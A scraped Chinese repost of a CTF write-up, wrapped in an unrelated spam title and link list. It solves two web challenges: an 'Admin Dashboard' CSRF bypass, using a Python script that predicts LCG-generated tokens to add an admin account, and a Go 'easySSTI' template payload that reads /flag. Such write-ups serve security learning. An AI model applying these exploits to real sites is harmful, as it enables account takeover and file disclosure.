当前位置: 首页 > news >正文

discuz网站编码能做视频的软件有哪些

discuz网站编码,能做视频的软件有哪些,北京代理记账,wordpress适合做官网Admin Dashboard 在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。 report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。 在 addadmin.php 中可以添加 admin 用户,但是需…

Admin Dashboard

在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。
在这里插入图片描述
report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。
在这里插入图片描述

在 addadmin.php 中可以添加 admin 用户,但是需要 admin 权限添加,且 csrf-token 要是 admin 用户生成的,也就是说现在万事俱备,只差 csrf-token,而这个 csrf-token 是线性同余生成的伪随机数,且我们知道了其中的,M 和 n(伪随机数),那么自然也就可以逆推出 A 和 C,也就可以伪造 admin 的 csrf-token 了,具体实现过程和函数关系,可以看看相关文章。

在这里插入图片描述

import requests
import re
import time
import string
import random
import binasciiBASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))print(f'username -> {username}')
print(f'password -> {password}')s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})x = []
for _ in range(8):		#获取8个伪随机的线性 token,用来逆推 t = s.get(BASE + '/addadmin').texttoken = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]print(token)x.append(int(token, 16))time.sleep(35)# ============================================# https://satto.hatenadiary.com/entry/solve-LCGdef solve_unknown_increment(states, A, M):B = (states[1] - A * states[0]) % Mreturn Bfrom Crypto.Util.number import inversedef solve_unknown_multiplier(states, M):A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)return Afrom Crypto.Util.number import inverse, GCD
from functools import reducedef solve_unknown_modulus(states):diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]# GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])M = reduce(GCD, multiples_of_M)return MM = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))# ============================================from Crypto.Util.number import *assert (A * bytes_to_long(username.encode()) + C) % M == x[0]print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

获得 csrf-token 后,发送生成 admin 账户的 url,最后以 admin 权限的账户登录即可。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

在这里插入图片描述

easySSTI

if err := t.Execute(buf, c); err != nil { 模板生成的部分,在 main.go 里面,且上下文传递的变量c是echo.Context,我们可以搜索任何从这里追踪到并可以使用的东西。

https://github.com/labstack/echo/blob/master/echo.go,发现一个叫做 Filesystem 的东西,可以用 Open 打开 File,它会返回相应文件的 fs.File。
在这里插入图片描述
然后用它自己准备的 Read,且在 main.go 中 tmpl, ok := c.Get("template").([]byte) 可以检索变量 .Get "template" 如果将其指定为保存目标,然后显示它就可以让 flag 以十进制数组来显示。
在这里插入图片描述
在这里插入图片描述

payload:

{{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}}

wp

https://blog.hamayanhamayan.com/entry/2023/02/26/124239
http://www.yayakq.cn/news/617865/

相关文章:

  • 站长工具app如何增加网站的索引量
  • 企业做网站400电话作用wordpress安全设置教程
  • 外贸网站建设和seo做儿童交互网站
  • 78建筑网站淘宝客网站怎么做视频
  • eclipse 网站开发过程阿里云服务器价格表
  • 做网站的流程前端做什么做网站做系统一样么
  • 做淘宝客网站难吗网站推广费用ihanshi
  • 科技 杭州 网站建设免费的网站代码
  • 陕西做网站公司国际网站建设
  • 网站策划书最后一步怎么做收费的网站怎么做
  • 做ppt时网站怎么设计网站广告怎么赚钱
  • 网站前端设计与制作ppt网站做镜像检查漏洞
  • 如何让自己做的博客网站上线wordpress zidai模板
  • 网站开发宣传方法网页源码在线提取
  • 株洲公司做网站wordpress.org配置
  • 京东网站建设吗光大国际建设公司官网
  • 浙江省建设网站快对小程序入口
  • 360免费建站方法去哪找做塑料的网站
  • 网站系统规划报告h5开发app用什么框架
  • 可以做试卷的网站泉州关键词优化报价
  • 永州商城网站建设注册网站平台
  • 网站的后续优化方案海南专业网站建设定制
  • 网站关键词搜索排名北京个人网站设计
  • 邯郸做网站的公司网站建设天乐大厦
  • 十大免费数据网站北京网站优化什么价格
  • 网站建设套餐电话广州建设官方网站
  • 网站开发竞争对手分析专注网站建站
  • 卫龙模仿iphone做网站萧山网站建设微信 话
  • 淘宝联盟怎么新建网站政务公开和网站建设自查报告
  • 仿制网站的后台域名如何备案教程